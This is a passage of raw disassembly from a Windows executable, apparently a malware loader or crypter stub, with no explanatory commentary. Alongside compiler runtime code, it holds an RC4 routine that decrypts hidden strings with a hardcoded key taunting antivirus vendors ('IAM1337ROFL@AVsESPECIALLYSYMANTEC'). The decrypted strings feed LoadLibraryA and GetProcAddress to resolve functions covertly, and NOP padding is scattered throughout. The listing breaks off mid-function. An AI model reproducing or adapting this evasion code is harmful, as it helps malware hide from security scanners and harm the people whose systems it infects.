loc_4039A2:				; DATA XREF: .rsrc:loc_438DE4w
					; .rsrc:004391A1r
		jnz	short loc_403980


loc_4039A4:				; CODE XREF: sub_40392C+44j
					; sub_40392C:loc_40397Ej ...
		retn
; ---------------------------------------------------------------------------
byte_4039A5	db 0E9h			; DATA XREF: sub_40392C+Co
dword_4039A6	dd 0FFFFF62Ah						; sub_438911+30w ...
word_4039AA	dw 0AFEBh		; DATA XREF: sub_438911+8w
					; sub_438911+36w ...
unk_4039AC	db  59h	; Y		; CODE XREF: sub_40392C:loc_4039A4j
					; DATA XREF: sub_40392C:loc_403956o
; ---------------------------------------------------------------------------
		pop	ecx


loc_4039AE:				; DATA XREF: sub_4391D7+2r
					; sub_439390+4Bw ...
		pop	ebp
		retn
sub_40392C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039B0	proc near		; CODE XREF: sub_403A78+ADp
					; sub_403A78+BEp

var_10		= dword	ptr -10h
var_B		= byte ptr -0Bh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h


loc_4039B6:				; DATA XREF: sub_437796+51r
		push	ebx
		xor	edx, edx
		mov	[ebp+var_10], edx
		xor	edx, edx


loc_4039BE:				; DATA XREF: sub_439390-8Er
		push	ebp
		push	offset loc_403A16
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp


loc_4039CA:				; DATA XREF: sub_439390-43w
					; sub_439390-15r
		push	7
		lea	edx, [ebp+var_B]
		push	edx
		push	1004h
		push	eax
		call	sub_401050	; GetLocaleInfoA
		lea	eax, [ebp+var_10]
		lea	edx, [ebp+var_B]
		mov	ecx, 7
		call	sub_403670
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_4]
		call	sub_402BD0
		mov	ebx, eax
		cmp	[ebp+var_4], 0
		jz	short loc_403A00
		xor	ebx, ebx


loc_403A00:				; CODE XREF: sub_4039B0+4Cj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403A1D


loc_403A0D:				; CODE XREF: sub_4039B0+6Bj
		lea	eax, [ebp+var_10]
		call	sub_403560
		retn
; ---------------------------------------------------------------------------


loc_403A16:				; DATA XREF: sub_4039B0+Fo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403A0D
; ---------------------------------------------------------------------------


loc_403A1D:				; CODE XREF: sub_4039B0+65j
					; DATA XREF: sub_4039B0+58o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4039B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A24	proc near		; DATA XREF: CODE:00405274o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403A6E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4075A4
		jnz	short loc_403A60
		mov	eax, offset dword_407038
		call	sub_402AD0
		mov	eax, offset dword_407204
		call	sub_402AD0
		mov	eax, offset dword_4073D0
		call	sub_402AD0
		call	sub_4019DC


loc_403A60:				; CODE XREF: sub_403A24+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403A75


loc_403A6D:				; CODE XREF: sub_403A24+4Fj
		retn
; ---------------------------------------------------------------------------


loc_403A6E:				; DATA XREF: sub_403A24+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403A6D
; ---------------------------------------------------------------------------


loc_403A75:				; CODE XREF: sub_403A24:loc_403A6Dj
					; DATA XREF: sub_403A24+44o
		pop	ebp
		retn
sub_403A24	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403A78	proc near		; DATA XREF: CODE:00405270o
		sub	ds:dword_4075A4, 1
		jnb	locret_403B4A
		mov	ds:byte_406008,	2
		mov	ds:off_407010, offset sub_401008
		mov	ds:off_407014, offset sub_401010
		mov	ds:byte_407036,	2
		mov	ds:off_407000, offset sub_4038B8
		call	sub_402CAC
		test	al, al
		jz	short loc_403ABF
		call	sub_402CDC


loc_403ABF:				; CODE XREF: sub_403A78+40j
		call	sub_402DA0
		mov	ds:word_40703C,	0D7B0h
		mov	ds:word_407208,	0D7B0h
		mov	ds:word_4073D4,	0D7B0h
		call	sub_401048	; GetCommandLineA
		mov	ds:dword_40702C, eax
		call	sub_401098
		mov	ds:dword_407028, eax
		call	sub_401090	; GetVersion
		and	eax, 80000000h
		cmp	eax, 80000000h
		jz	short loc_403B31
		call	sub_401090	; GetVersion
		and	eax, 0FFh
		cmp	ax, 4
		jbe	short loc_403B20
		mov	ds:dword_4075A8, 3
		jmp	short loc_403B40
; ---------------------------------------------------------------------------


loc_403B20:				; CODE XREF: sub_403A78+9Aj
		call	sub_401068	; GetThreadLocale
		call	sub_4039B0
		mov	ds:dword_4075A8, eax
		jmp	short loc_403B40
; ---------------------------------------------------------------------------


loc_403B31:				; CODE XREF: sub_403A78+8Aj
		call	sub_401068	; GetThreadLocale
		call	sub_4039B0
		mov	ds:dword_4075A8, eax


loc_403B40:				; CODE XREF: sub_403A78+A6j
					; sub_403A78+B7j
		call	sub_401088	; GetCurrentThreadId
		mov	ds:dword_407020, eax

locret_403B4A:				; CODE XREF: sub_403A78+7j
		retn
sub_403A78	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403B4C	proc near		; CODE XREF: sub_403C10+Cp
		jmp	ds:dword_408114
sub_403B4C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403B54	proc near		; CODE XREF: sub_403B6C+3p
		jmp	ds:dword_408110
sub_403B54	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403B5C	proc near		; CODE XREF: sub_403BC4+25p
					; sub_403BC4+36p
		jmp	ds:dword_40810C
sub_403B5C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403B64	proc near		; CODE XREF: sub_403B80+3Dp
		jmp	ds:dword_408108
sub_403B64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403B6C	proc near		; CODE XREF: sub_403B80+21p
		push	eax
		push	40h
		call	sub_403B54	; LocalAlloc
		retn
sub_403B6C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403B78	proc near		; CODE XREF: sub_403B80+1p
		mov	eax, 8
		retn
sub_403B78	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403B80	proc near		; CODE XREF: sub_403BC4:loc_403BDEp
		push	ebx
		call	sub_403B78
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_403BC2
		cmp	ds:TlsIndex, 0FFFFFFFFh
		jnz	short loc_403B9F
		mov	eax, 0E2h
		call	sub_403554
; ---------------------------------------------------------------------------


loc_403B9F:				; CODE XREF: sub_403B80+13j
		mov	eax, ebx
		call	sub_403B6C
		test	eax, eax
		jnz	short loc_403BB6
		mov	eax, 0E2h
		call	sub_403554
; ---------------------------------------------------------------------------
		jmp	short loc_403BC2
; ---------------------------------------------------------------------------


loc_403BB6:				; CODE XREF: sub_403B80+28j
		push	eax
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_403B64	; TlsSetValue


loc_403BC2:				; CODE XREF: sub_403B80+Aj
					; sub_403B80+34j
		pop	ebx
		retn
sub_403B80	endp


; =============== S U B	R O U T	I N E =======================================



sub_403BC4	proc near		; CODE XREF: sub_402860+20p
					; sub_4028B8+3p ...
		mov	cl, ds:byte_40764C
		mov	eax, ds:TlsIndex
		test	cl, cl
		jnz	short loc_403BF9
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_403BDE:				; CODE XREF: sub_403BC4+3Dj
		call	sub_403B80
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_403B5C	; TlsGetValue
		test	eax, eax
		jz	short loc_403BF3
		retn
; ---------------------------------------------------------------------------


loc_403BF3:				; CODE XREF: sub_403BC4+2Cj
		mov	eax, ds:dword_407658
		retn
; ---------------------------------------------------------------------------


loc_403BF9:				; CODE XREF: sub_403BC4+Dj
		push	eax
		call	sub_403B5C	; TlsGetValue
		test	eax, eax
		jz	short loc_403BDE
		retn
sub_403BC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C04	proc near		; CODE XREF: sub_403C10+2Ep
		mov	eax, offset dword_406088
		call	sub_40391C
		retn
sub_403C04	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403C10	proc near		; CODE XREF: CODE:004052C0p
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:TlsIndex, eax
		push	0
		call	sub_403B4C	; GetModuleHandleA
		mov	ds:dword_407650, eax
		mov	eax, ds:dword_407650
		mov	ds:dword_40608C, eax
		xor	eax, eax
		mov	ds:dword_406090, eax
		xor	eax, eax
		mov	ds:dword_406094, eax
		call	sub_403C04
		mov	edx, offset dword_406088
		mov	eax, ebx
		call	sub_403310
		pop	ebx
		retn
sub_403C10	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C54	proc near		; DATA XREF: CODE:0040526Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403C79
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_407654
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403C80


loc_403C78:				; CODE XREF: sub_403C54+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403C79:				; DATA XREF: sub_403C54+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403C78
; ---------------------------------------------------------------------------


loc_403C80:				; CODE XREF: sub_403C54:loc_403C78j
					; DATA XREF: sub_403C54+1Fo
		pop	ebp
		retn
sub_403C54	endp

; ---------------------------------------------------------------------------
		align 4


loc_403C84:				; DATA XREF: CODE:off_405268o
		sub	ds:dword_407654, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C8C	proc near		; DATA XREF: CODE:0040527Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403CB1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40765C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403CB8


loc_403CB0:				; CODE XREF: sub_403C8C+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403CB1:				; DATA XREF: sub_403C8C+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403CB0
; ---------------------------------------------------------------------------


loc_403CB8:				; CODE XREF: sub_403C8C:loc_403CB0j
					; DATA XREF: sub_403C8C+1Fo
		pop	ebp
		retn
sub_403C8C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403CBC	proc near		; DATA XREF: CODE:00405278o
		sub	ds:dword_40765C, 1
		retn
sub_403CBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403CC4	proc near		; CODE XREF: sub_403F24+E7p
		jmp	ds:dword_408124
sub_403CC4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403CCC	proc near		; CODE XREF: sub_403F24+AEp
					; sub_4041C0+85p
		jmp	ds:dword_408120
sub_403CCC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403CD4	proc near		; CODE XREF: sub_403F24+83p
					; sub_4041C0+3Fp ...
		jmp	ds:dword_40811C
sub_403CD4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403CDC	proc near		; DATA XREF: CODE:00405284o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403D01
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_407660
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403D08


loc_403D00:				; CODE XREF: sub_403CDC+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403D01:				; DATA XREF: sub_403CDC+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403D00
; ---------------------------------------------------------------------------


loc_403D08:				; CODE XREF: sub_403CDC:loc_403D00j
					; DATA XREF: sub_403CDC+1Fo
		pop	ebp
		retn
sub_403CDC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403D0C	proc near		; DATA XREF: CODE:00405280o
		sub	ds:dword_407660, 1
		retn
sub_403D0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D14	proc near		; CODE XREF: sub_403E78+18p

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	[esp+1Ch+var_1C], edx
		mov	edi, eax
		mov	eax, [esp+1Ch+var_1C]
		call	sub_403688
		mov	[esp+1Ch+var_14], eax
		nop
		nop
		nop
		mov	byte ptr [edi+100h], 0
		mov	byte ptr [edi+101h], 0
		xor	edx, edx
		mov	eax, edi


loc_403D41:				; CODE XREF: sub_403D14+33j
		mov	[eax], dl
		inc	edx
		inc	eax
		test	dl, dl
		jnz	short loc_403D41
		xor	eax, eax
		xor	esi, esi
		mov	dl, 0
		mov	ecx, edi


loc_403D51:				; CODE XREF: sub_403D14+88j
		nop
		nop
		nop
		cmp	esi, [esp+1Ch+var_14]
		jge	short loc_403D66
		mov	ebx, [esp+1Ch+var_1C]
		mov	bl, [ebx+esi]
		mov	[esp+1Ch+var_17], bl
		jmp	short loc_403D6B
; ---------------------------------------------------------------------------


loc_403D66:				; CODE XREF: sub_403D14+44j
		mov	[esp+1Ch+var_17], 0


loc_403D6B:				; CODE XREF: sub_403D14+50j
		inc	esi
		cmp	esi, [esp+1Ch+var_14]
		jl	short loc_403D74
		xor	esi, esi


loc_403D74:				; CODE XREF: sub_403D14+5Cj
		mov	bl, [ecx]
		add	bl, [esp+1Ch+var_17]
		add	al, bl
		mov	bl, [ecx]
		mov	[esp+1Ch+var_18], bl
		xor	ebx, ebx
		mov	bl, al
		mov	bl, [edi+ebx]
		mov	[ecx], bl
		xor	ebx, ebx
		mov	bl, al
		lea	ebp, [edi+ebx]
		mov	bl, [esp+1Ch+var_18]
		mov	[ebp+0], bl
		inc	ecx
		dec	dl
		jnz	short loc_403D51
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403D14	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403DA8	proc near		; CODE XREF: sub_403E78+53p
		nop
		nop
		nop
		xor	ecx, ecx
		mov	edx, 102h
		call	sub_402B44
		retn
sub_403DA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DB8	proc near		; CODE XREF: sub_403E38+34p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		nop
		nop
		nop
		mov	ebx, [ebp+arg_0]
		dec	ebx
		test	ebx, ebx
		jl	short loc_403E2E
		inc	ebx
		mov	[ebp+var_4], ebx
		mov	esi, edx


loc_403DD0:				; CODE XREF: sub_403DB8+74j
		nop
		nop
		nop
		inc	byte ptr [eax+100h]
		xor	edx, edx
		mov	dl, [eax+100h]
		mov	dl, [eax+edx]
		add	[eax+101h], dl
		xor	ebx, ebx
		mov	bl, [eax+101h]
		mov	bl, [eax+ebx]
		push	ebx
		xor	ebx, ebx
		mov	bl, [eax+100h]
		lea	edi, [eax+ebx]
		pop	ebx
		mov	[edi], bl
		xor	ebx, ebx
		mov	bl, [eax+101h]
		mov	[eax+ebx], dl
		xor	ebx, ebx
		mov	bl, [eax+100h]
		add	dl, [eax+ebx]
		and	edx, 0FFh
		mov	dl, [eax+edx]
		xor	dl, [esi]
		mov	[ecx], dl
		inc	ecx
		inc	esi
		dec	[ebp+var_4]
		jnz	short loc_403DD0


loc_403E2E:				; CODE XREF: sub_403DB8+10j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_403DB8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403E38	proc near		; CODE XREF: sub_403E78+38p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, ecx
		mov	esi, edx
		mov	ebp, eax
		nop
		nop
		nop
		mov	eax, esi
		call	sub_403688
		mov	ebx, eax
		mov	eax, edi
		mov	edx, ebx
		call	sub_403854
		push	ebx
		mov	eax, edi
		call	sub_40384C
		push	eax
		mov	eax, esi
		call	sub_4037FC
		mov	edx, eax
		mov	eax, ebp
		pop	ecx
		call	sub_403DB8
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403E38	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E78	proc near		; CODE XREF: sub_403F24+75p
					; sub_403F24+9Ap ...

var_102		= byte ptr -102h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEFCh
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, eax
		nop
		nop
		nop
		lea	eax, [ebp+var_102]
		call	sub_403D14
		xor	eax, eax
		push	ebp
		push	offset loc_403ED1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		nop
		nop
		nop
		mov	ecx, esi
		lea	eax, [ebp+var_102]
		mov	edx, ebx
		call	sub_403E38
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403ED8


loc_403EC2:				; CODE XREF: sub_403E78+5Ej
		nop
		nop
		nop
		lea	eax, [ebp+var_102]
		call	sub_403DA8
		retn
; ---------------------------------------------------------------------------


loc_403ED1:				; DATA XREF: sub_403E78+20o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403EC2
; ---------------------------------------------------------------------------


loc_403ED8:				; DATA XREF: sub_403E78+45o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403E78	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EE0	proc near		; DATA XREF: CODE:0040528Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403F05
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_407664
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403F0C


loc_403F04:				; CODE XREF: sub_403EE0+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403F05:				; DATA XREF: sub_403EE0+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403F04
; ---------------------------------------------------------------------------


loc_403F0C:				; CODE XREF: sub_403EE0:loc_403F04j
					; DATA XREF: sub_403EE0+1Fo
		pop	ebp
		retn
sub_403EE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403F10	proc near		; DATA XREF: CODE:00405288o
		sub	ds:dword_407664, 1
		retn
sub_403F10	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F18	proc near		; CODE XREF: sub_403F24+2Dp
					; sub_4040B4+31p ...
		test	eax, eax
		jz	short locret_403F21
		sub	eax, 4
		mov	eax, [eax]

locret_403F21:				; CODE XREF: sub_403F18+2j
		retn
sub_403F18	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F24	proc near		; CODE XREF: CODE:004053C2p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_4037EC
		xor	eax, eax
		push	ebp
		push	offset loc_404046
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_4]
		call	sub_403F18
		mov	ebx, eax
		cmp	ebx, 4
		jbe	loc_40401C
		lea	eax, [ebp+arg_4]
		call	sub_40384C
		mov	edi, eax
		mov	edx, [edi]
		mov	eax, esi
		call	sub_403854
		cmp	dword ptr [edi], 80000h
		jbe	short loc_403F85
		mov	[ebp+var_8], 2
		jmp	short loc_403F8C
; ---------------------------------------------------------------------------


loc_403F85:				; CODE XREF: sub_403F24+56j
		mov	[ebp+var_8], 102h


loc_403F8C:				; CODE XREF: sub_403F24+5Fj
		lea	ecx, [ebp+var_C]
		mov	edx, offset aIam1337rofl@av ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_40408C
		call	sub_403E78
		mov	eax, [ebp+var_C]
		call	sub_4037FC
		push	eax
		call	sub_403CD4	; LoadLibraryA
		mov	ds:dword_407670, eax
		lea	ecx, [ebp+var_10]
		mov	edx, offset aIam1337rofl@av ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_4040A0
		call	sub_403E78
		mov	eax, [ebp+var_10]
		call	sub_4037FC
		push	eax
		mov	eax, ds:dword_407670
		push	eax
		call	sub_403CCC	; GetProcAddress
		mov	ds:dword_40766C, eax
		lea	eax, [ebp+var_4]
		push	eax
		sub	ebx, 4
		push	ebx
		lea	eax, [ebp+arg_4]
		call	sub_40384C
		add	eax, 4
		push	eax
		mov	eax, [edi]
		push	eax
		mov	eax, esi
		call	sub_40384C
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_40766C
		mov	eax, ds:dword_407670
		push	eax
		call	sub_403CC4	; FreeLibrary
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_403854
		jmp	short loc_404023
; ---------------------------------------------------------------------------


loc_40401C:				; CODE XREF: sub_403F24+37j
		mov	eax, esi
		call	sub_403560


loc_404023:				; CODE XREF: sub_403F24+F6j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40404D


loc_404030:				; CODE XREF: sub_403F24+127j
		lea	eax, [ebp+var_10]
		mov	edx, 2
		call	sub_403584
		lea	eax, [ebp+arg_4]
		call	sub_403560
		retn
; ---------------------------------------------------------------------------


loc_404046:				; DATA XREF: sub_403F24+1Fo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404030
; ---------------------------------------------------------------------------


loc_40404D:				; CODE XREF: sub_403F24+121j
					; DATA XREF: sub_403F24+107o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_403F24	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 21h
aIam1337rofl@av	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: sub_403F24+6Bo
					; sub_403F24+90o
		align 4
		dd 0FFFFFFFFh, 9
dword_40408C	dd 0F3422875h, 0A8D8A8E5h, 50h,	0FFFFFFFFh, 13hdword_4040A0	dd 0DB4A2849h, 0A9D3E5ECh, 0DF10004Ch, 0D69BFED5h, 0E27227h
					; DATA XREF: sub_403F24+95o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040B4	proc near		; CODE XREF: CODE:004053CFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_4037EC
		xor	eax, eax
		push	ebp
		push	offset loc_404177
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_403560
		mov	eax, [ebp+arg_4]
		call	sub_403F18
		mov	[ebp+var_8], eax
		mov	ebx, 1
		cmp	ebx, [ebp+var_8]
		ja	short loc_404159


loc_4040F7:				; CODE XREF: sub_4040B4+A3j
		mov	eax, [ebp+arg_4]
		mov	al, [eax+ebx-1]
		test	al, al
		jnz	short loc_40413A
		mov	eax, [ebp+arg_4]
		mov	al, [eax+ebx]
		mov	[ebp+var_1], al
		mov	eax, [esi]
		call	sub_403F18
		mov	edi, eax
		xor	edx, edx
		mov	dl, [ebp+var_1]
		add	edx, edi
		mov	eax, esi
		call	sub_403854
		mov	eax, esi
		call	sub_40384C
		add	eax, edi
		xor	edx, edx
		mov	dl, [ebp+var_1]
		xor	ecx, ecx
		call	sub_402B44
		inc	ebx
		jmp	short loc_404153
; ---------------------------------------------------------------------------


loc_40413A:				; CODE XREF: sub_4040B4+4Cj
		lea	eax, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		mov	dl, [edx+ebx-1]
		call	sub_403654
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_403690


loc_404153:				; CODE XREF: sub_4040B4+84j
		inc	ebx
		cmp	ebx, [ebp+var_8]
		jbe	short loc_4040F7


loc_404159:				; CODE XREF: sub_4040B4+41j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40417E


loc_404166:				; CODE XREF: sub_4040B4+C8j
		lea	eax, [ebp+var_C]
		call	sub_403560
		lea	eax, [ebp+arg_4]
		call	sub_403560
		retn
; ---------------------------------------------------------------------------


loc_404177:				; DATA XREF: sub_4040B4+1Co
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404166
; ---------------------------------------------------------------------------


loc_40417E:				; CODE XREF: sub_4040B4+C2j
					; DATA XREF: sub_4040B4+ADo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4040B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404188	proc near		; DATA XREF: CODE:00405294o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4041AD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_407668
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4041B4


loc_4041AC:				; CODE XREF: sub_404188+2Aj
		retn
; ---------------------------------------------------------------------------


loc_4041AD:				; DATA XREF: sub_404188+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4041AC
; ---------------------------------------------------------------------------


loc_4041B4:				; CODE XREF: sub_404188:loc_4041ACj
					; DATA XREF: sub_404188+1Fo
		pop	ebp
		retn
sub_404188	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4041B8	proc near		; DATA XREF: CODE:00405290o
		sub	ds:dword_407668, 1
		retn
sub_4041B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041C0	proc near		; CODE XREF: sub_4046C0+33p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 8


loc_4041C8:				; CODE XREF: sub_4041C0+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_4041C8
		push	ebx
		push	esi
		mov	esi, offset dword_407690
		xor	eax, eax
		push	ebp
		push	offset loc_40441F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	ecx, [ebp+var_8]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404460
		call	sub_403E78
		mov	eax, [ebp+var_8]
		call	sub_4037FC
		push	eax
		call	sub_403CD4	; LoadLibraryA
		mov	ebx, eax
		lea	ecx, [ebp+var_C]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404478
		call	sub_403E78
		mov	eax, [ebp+var_C]
		call	sub_4037FC
		push	eax
		call	sub_403CD4	; LoadLibraryA
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_10]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_40448C
		call	sub_403E78
		mov	eax, [ebp+var_10]
		call	sub_4037FC
		push	eax
